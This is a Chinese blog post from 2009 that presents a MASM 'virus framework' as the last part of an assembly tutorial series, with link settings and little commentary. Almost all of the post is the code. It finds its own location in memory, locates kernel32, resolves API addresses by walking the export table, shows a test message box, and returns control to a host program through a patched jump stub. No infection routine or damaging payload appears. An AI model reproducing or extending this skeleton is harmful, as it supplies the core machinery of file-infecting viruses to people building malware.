很多朋友说我写的那些病毒编译链接的时候对于 mov dword ptr [ebp+aa],eax这样的语句提示内存访问错误，还有的说masm写病毒的话，很多时候把
aa proc
....
....
aa enp
改成
aa:
....
....
ret
会出错什么的
其实这些都是功底不行，甚至上面那个只是个link选项设置的问题。
很多人看这些病毒的时候看着晕。越看越糊涂，实际上没有那么难。
asm的魅力系列做完了，我给大家最后写个病毒的框架。病毒这玩意儿，就像玩命大哥说的：玩玩就可以了，asm能玩出花样来。
我代码直接贴上，里面的精妙之处大家仔细看就能理解了。
我没有做过多的注释，我觉得也没有必要。
;;author:charme
;;date:2009.12.12
;;index:http://hi.baidu.com/charme000
;;ml /nologo /coff /c charme.asm
;;link /subsystem:windows /section:.text,RW charme.obj
.586
.model flat,stdcall
option casemap:none
.code
start:
pushad
pushfd
call aa
aa:
pop ebp
sub ebp,offset aa
mov eax,DWORD ptr [ebp+offset _ret]
mov DWORD ptr [ebp+offset _where],eax
mov esi,DWORD ptr [esp + 24h]
call get_kernel_image_base
call find_main_apis
call find_extra_apis
mov eax,offset szCharme
add eax,ebp
push 0
push eax
push eax
push 0
call [ebp+AMessageBoxA]
jmp _exit
szCharme db 'success',0
_where dd 0
find_extra_apis:
jmp load_
user32 db "user32.dll",0
SMessageBoxA db "MessageBoxA",0
AMessageBoxA dd 0
load_:
mov eax,offset user32
add eax,ebp
push eax
call [ebp + offset AGetModuleHandleA]
cmp eax,0h
jne load_message_box
mov eax,offset user32
add eax,ebp
push eax
call [ebp + offset ALoadLibraryA]
cmp eax,0
je _exit
load_message_box:
mov ebx,offset SMessageBoxA
add ebx,ebp
push ebx
push eax ; user32.dll
call [ebp + offset AGetProcAddress]
cmp eax,0h
je _exit
mov dword ptr [ebp + offset AMessageBoxA],eax
ret
;----------------------------------------------------------------------------------------------------------------------
get_kernel_image_base:
mov ecx,esi
jmp start_getting
k32 dd 0
start_getting:
cmp dword ptr [esi],'NREK'
je found_kernel_str
dec esi
loop start_getting
mov eax,0
ret
found_kernel_str:
cmp word ptr [esi],'ZM'
je return_
dec esi
loop found_kernel_str
mov eax,0
ret
return_:
mov dword ptr [ebp + offset k32],esi
cmp esi,0
je _exit
ret
;------------
find_main_apis:
jmp get_kernel_pe_header
k32_export_table dd 0 ;VA
k32_name_table dd 0 ;VA
k32_name_counter dd 0
next_api_string dd 0
current_api_string dd 0
str_size dd 0
api_address_counter dd 0
api_strings:
SExitProcess db "ExitProcess",0
SGetProcAddress db "GetProcAddress",0
SGetModuleHandleA db "GetModuleHandleA",0
SLoadLibraryA db "LoadLibraryA",0
dd 00000090h
api_addresses:
AExitProcess dd 0
AGetProcAddress dd 0
AGetModuleHandleA dd 0
ALoadLibraryA dd 0
get_kernel_pe_header:
mov esi,dword ptr [ebp + offset k32]
add esi,dword ptr [esi + 3Ch] ; PE header VA
mov esi,dword ptr [esi + 78h] ; export table RVA
add esi,dword ptr [ebp + offset k32] ;VA
mov dword ptr [ebp + offset k32_export_table],esi
add esi,32d ; address of names RVA in export table
mov esi,dword ptr [esi]
add esi, dword ptr [ebp + offset k32] ; starting of dword array of function names in k32
mov dword ptr [ebp + offset k32_name_table],esi
;start next_api_string
mov dword ptr [ebp + offset next_api_string],offset api_strings
add dword ptr [ebp + offset next_api_string],ebp
api_loop:
mov esi,dword ptr [ebp + offset next_api_string]
cmp dword ptr [esi],00000090h
je all_found
;get a string from api_strings label
mov dword ptr [ebp + offset k32_name_counter],0h ;reset name counter
mov esi,dword ptr [ebp + offset next_api_string]
xor ecx,ecx
mov dword ptr [ebp + offset current_api_string],esi
@@: cmp byte ptr [esi],0h
je @F
inc ecx
inc esi
jmp @B
@@:
mov dword ptr [ebp + offset str_size],ecx
inc esi
mov dword ptr [ebp + offset next_api_string],esi ; next str
get_name_from_k32:
;get a name and normalize it
mov eax,dword ptr [ebp + offset k32_name_counter]
mov ebx,4h
mul ebx
add eax,dword ptr [ebp + offset k32_name_table]
mov eax,dword ptr [eax]
add eax,dword ptr [ebp + offset k32] ; now we have an api name
add dword ptr [ebp + offset k32_name_counter],1h ; increment for next
compare_two_names:
mov ecx,dword ptr [ebp + offset str_size]
mov edi,eax ; api name in k32 name table
mov esi,dword ptr [ebp + offset current_api_string]
@@:cmpsb
jne @F
loop @B
;we have found it so calculate ordinal
jmp calc_ordinal
@@: ;not the same api
jmp get_name_from_k32
calc_ordinal:
sub dword ptr [ebp + offset k32_name_counter],1h ; current names ordinal pos
mov ebx,2
mov eax,dword ptr [ebp + offset k32_name_counter]
mul ebx
mov esi,dword ptr [ebp + offset k32_export_table]
add esi,36d
mov esi,dword ptr [esi]
add esi,dword ptr [ebp + offset k32] ; ordinal table
add esi,eax ; ordinal of our api
movzx eax,word ptr [esi] ; ordinal of our api
mov esi,dword ptr [ebp + offset k32_export_table]
add esi,28d
mov esi,dword ptr [esi]
add esi,dword ptr [ebp + offset k32] ; address table
mov ebx,4h
mul ebx
add esi,eax
mov esi,dword ptr [esi]
add esi,dword ptr [ebp + offset k32]
mov eax,dword ptr [ebp + offset api_address_counter]
mov dword ptr [ebp + offset api_addresses + eax],esi
add dword ptr [ebp + offset api_address_counter],4h
jmp api_loop
all_found:
mov dword ptr [ebp + offset api_address_counter],0
ret
_exit:
mov eax,DWORD ptr [ebp+offset _where]
mov DWORD ptr [ebp+offset _ret +3h],eax
cmp ebp,0
jne _ret
push 0
call [ebp+offset AExitProcess]
_ret:
popfd
popad
db 68h,0,0,0,0
ret
end start
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